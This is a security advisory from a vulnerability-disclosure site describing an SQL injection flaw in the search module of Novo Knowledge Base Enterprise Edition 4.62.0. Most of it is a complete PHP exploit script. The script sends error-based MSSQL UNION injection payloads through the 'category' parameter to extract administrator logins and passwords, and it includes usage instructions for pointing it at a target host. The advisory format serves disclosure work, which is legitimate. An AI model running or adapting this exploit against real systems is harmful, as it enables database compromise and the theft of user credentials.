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Knowledge Base EE v4.62.0 - SQL Injection Vulnerability



Title:
======
Knowledge Base EE v4.62.0 - SQL Injection Vulnerability


Date:
=====
2012-09-11


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=702


VL-ID:
=====
702


Common Vulnerability Scoring System:
====================================
8.5


Introduction:
=============
Knowledge Base Software, by Novo Solutions can be used in a variety of in-house and external application settings.  
Our easy-to-use software is an ideal solution for small or Knowledge Base Softwarelarge organizations who need a central 
repository to store information for Customer Support, Company Intranet, Employee Training, Document Management and more.

(copy from vendor website http://www.novosolutions.com/knowledge-base-software )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a critical sql vulnerability in the Knowledge Base Enterprise Edition v4.62.0.


Report-Timeline:
================
2012-09-06:	Researcher Notification & Coordination
2012-09-07:	Vendor Notification
2012-00-00:	Vendor Response/Feedback
2012-00-00:	Vendor Fix/Patch
2012-00-00:	Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A SQL Injection vulnerability & a misconfiguration are detected in Knowledge Base Enterprise Edition  4.62.0.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands 
on the affected application dbms without user inter action. The vulnerabilities are located in search module  when processing 
to request the category variable with selcategory argument. Successful exploitation of the vulnerability results in MSSQL dbms 
& ASP application compromise.

Vulnerable File(s):
			[+] doadvancedsearch.asp

Vulnerable Parameter(s):
			[+] category

Condition  
			[+] selcategory - must be not NULL


Proof of Concept:
=================
The sql injection vulnerability can be exploited by remote attackers without user inter action and without privilege user account.
For demonstration or reproduce ...

Note:
In this report we have the Clause statement it a little bit hard to exploit it because of 90% non active responses with errors.
In order to exploit this vulnerability we need to use  (CAST OR CONVERT) MSSQL functions to obtain result of our query in Conversion Error messages.


Query: 		CAST(USER_LOGIN AS NVARCHAR(4000)
Result: 	[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'admin' to data type int.


In the proof of concept exploit we have to change and force the query to retrieve users credential from user database requests.


<?php
     error_reporting(0);
/*
 *  Software  Knowledge Base Enterprise Edition  < 4.62.00
 *  Database: MS SQL
 *  Description 
 *  Author           Kami
 *  Email            kami@xxxxxxxxxxxxxxxxxxxxx
 *  Website          http://www.kami.ma
 *  vendor           http://www.novosolutions.com/knowledge-base-software/
 *  Exploitation-type          MSSQL error-based using .
 *  Exploitation-technique    (CAST OR CONVERT) Via  (WHERE or HAVING) clause.
 */

    /*  Define Target Informations  */
   
    $HOST=$argv[1];  
    $URI       ="/doadvancedsearch.asp";
    
    /*  DATABASE Params */
    
    $TABLE     ="USERS";
    $columns=array("USER_LOGIN","USER_PASSWORD"); 
    $evilSQL   ="-6647)  UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 --  ";

 
    
     $Exploit= new Exploitcore();

     
      if($argc > 1) {
          echo "\n".'[+] Exploitation Start
              
                                                      \\\
                                            .------.  /// 
                                            (:::::::)(_)():-
                                            `------°  \\\
                                      Exploit sent    ///
              
'."\n";

         if(isset($argv[2]))
             $URI=$argv[2].$URI;
         echo  "[+] URL : ".$argv[1].$argv[2]."\n";
             $n=1;
        foreach($columns as $column){
 
                $evilSQL   ="-6647)  UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 --  ";

                $evilSQL=str_replace("{column_name}",$column,$evilSQL);

                $Payload=array(
                "advsearchwords"=>"sds",
                "selcategory"=>"19",
                "category"=>$evilSQL,
                "operation"=>"%2B",
                "limit"=>25,
                "searchtype"=>1,
                "enableExclude"=>1,
                "enableInclude"=>1,
                "daterange"=>0,
                "id"=>5,
                "btnAdvanced"=>1,
                "Lang=>1");
                
                
           
          echo   $reply=$Exploit->Requestor('POST',$HOST,80, $URI,array(),$Payload, array(), array(),1,false,false);
        
            if($Exploit->Retrive_DATA($reply)== null) {
                echo "[-] Error : Target is not vulnerable\n";
                exit(-1);} 
                if($n==1){echo "[+] Extracting Data .... \n\n";}
                echo "[+] DATA:".$column ."=".$Exploit->Retrive_DATA($reply)."\n";
                $n++;

        }        
         } else  $Exploit->Menu();




Class Exploitcore{
    
    var $hostname,$Port,$Uri;
    var $dynamic_payload;
    
    

    
    public function Retrive_DATA($reply){
        
        preg_match_all('#kami::(.*?)::ami#',$reply,$res);
        return $res[1][0];
    }

    
    public function Menu(){
        
        
$hello='
                                                                        .-"""-.
                                                                       /   _   \
                 ___                                                  |  (212)  |
                /\````````````"""""""\\\""====---.......,,,,,_______ _  \   ^   /
                \//__________________///__________________)))________)) "-...-"
                
                            Advanced  __-- SQL --__  injection
                            
                                 Novo Knowledge Base
                                 
          Credit  : Kami
          Email   : Kami@xxxxxxxxxxxxxxxxxxxxx  
          Website : www.kami.ma
                                 
Usage>    php knowledgebase0day.php host
Exemple>  php knowledgebase0day.php kbase.target.com
Exemple>  php knowledgebase0day.php kbase.target.com /foo

';
        
        echo  $hello;
        
    }
        
   public  function Requestor( 
    $verb = 'GET',             /* HTTP Request Method (GET and POST supported) */ 
    $ip,                       /* Target IP/Hostname */ 
    $port = 80,                /* Target TCP port */ 
    $uri = '/',                /* Target URI */ 
    $getdata = array(),        /* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */ 
    $postdata = array(),       /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */ 
    $cookie = array(),         /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */ 
    $custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */ 
    $timeout = 1,           /* Socket timeout in seconds */ 
    $req_hdr = true,          /* Include HTTP request headers */ 
    $res_hdr = true           /* Include HTTP response headers */ 
    ) 
                { 
    $ret = ''; 
    $verb = strtoupper($verb); 
    $cookie_str = ''; 
    $getdata_str = count($getdata) ? '?' : ''; 
    $postdata_str = ''; 

    foreach ($getdata as $k => $v) 
                $getdata_str .= urlencode($k) .'='. urlencode($v) . '&'; 

    foreach ($postdata as $k => $v) 
        $postdata_str .= urlencode($k) .'='. urlencode($v) .'&'; 

    foreach ($cookie as $k => $v) 
        $cookie_str .= urlencode($k) .'='. urlencode($v) .'; '; 

    $crlf = "\r\n"; 
    $req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf; 
    $req .= 'Host: '. $ip . $crlf; 
    $req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf; 
    $req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf; 
    $req .= 'Accept-Language: en-us,en;q=0.5' . $crlf; 
    $req .= 'Accept-Encoding: deflate' . $crlf; 
    $req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf; 
    
    foreach ($custom_headers as $k => $v) 
        $req .= $k .': '. $v . $crlf; 
        
    if (!empty($cookie_str)) 
        $req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf; 
        
    if ($verb == 'POST' && !empty($postdata_str)) 
    { 
        $postdata_str = substr($postdata_str, 0, -1); 
        $req .= 'Connection: Close'. $crlf; 
        $req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf; 
        $req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf; 
        $req .= $postdata_str; 
     
    } 
    else { $req .= $crlf; }
    
    if ($req_hdr) 
        $ret .= $req; 
       
    if (($fp = fsockopen($ip, $port, $errno, $errstr,1)) == false) 
        return "Error $errno: $errstr\n"; 
    
 // stream_set_timeout($fp, 0, $timeout * 1000); 
    
    fwrite($fp, $req); 

   while ($line = fgets($fp)) $ret .= $line;

      
        fclose ($fp);
 

    
    
    if (!$res_hdr) 
        $ret = substr($ret, strpos($ret, "\r\n\r\n") + 4); 

    return $ret; 
} 

}



Risk:
=====
The security risk of the sql injection vulnerability is estimated as high.


Credits:
========
Vulnerability Laboratory [Research Team] - Karim H.B. (kami@xxxxxxxxxxxxxxxxxxxxx) [www.kami.ma]


Disclaimer:
===========
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